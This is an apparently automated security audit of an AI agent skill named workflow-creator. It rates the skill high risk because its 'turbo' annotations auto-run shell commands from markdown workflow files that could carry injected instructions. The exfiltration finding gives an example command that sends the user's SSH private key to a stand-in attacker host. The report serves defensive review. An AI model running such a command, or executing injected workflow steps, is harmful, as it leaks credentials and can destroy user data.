workflow-creator

Fail

Audited by Gen Agent Trust Hub on Feb 17, 2026

Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION] (HIGH): The skill implements a 'turbo' and 'turbo-all' annotation system designed to automatically execute shell commands found in markdown files.
  • Evidence: SKILL.md defines // turbo and // turbo-all to 'Auto-run the next step' or 'ALL steps'.
  • Evidence: Templates in references/workflow-templates.md include commands like npm run deploy, rm -rf, and git push which can have significant side effects if modified or misused.
  • [PROMPT_INJECTION] (HIGH): The skill is highly susceptible to indirect prompt injection (Category 8). It reads, processes, and writes markdown files that contain executable instructions.
  • Ingestion points: The skill reads files from .agent/workflows/ and takes user input to generate new ones (SKILL.md).
  • Boundary markers: None identified in the provided files to distinguish between safe instructions and potentially malicious injected commands.
  • Capability inventory: The skill explicitly has the capability to execute shell commands (via the turbo annotations) and write files to the local filesystem.
  • Sanitization: No evidence of sanitization or validation of the commands being written to or read from the workflow files.
  • [DATA_EXFILTRATION] (MEDIUM): While no explicit exfiltration code is present, the ability to execute arbitrary shell commands via the turbo feature allows for trivial data exfiltration (e.g., curl -d @~/.ssh/id_rsa attacker.com).
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Feb 17, 2026, 12:15 AM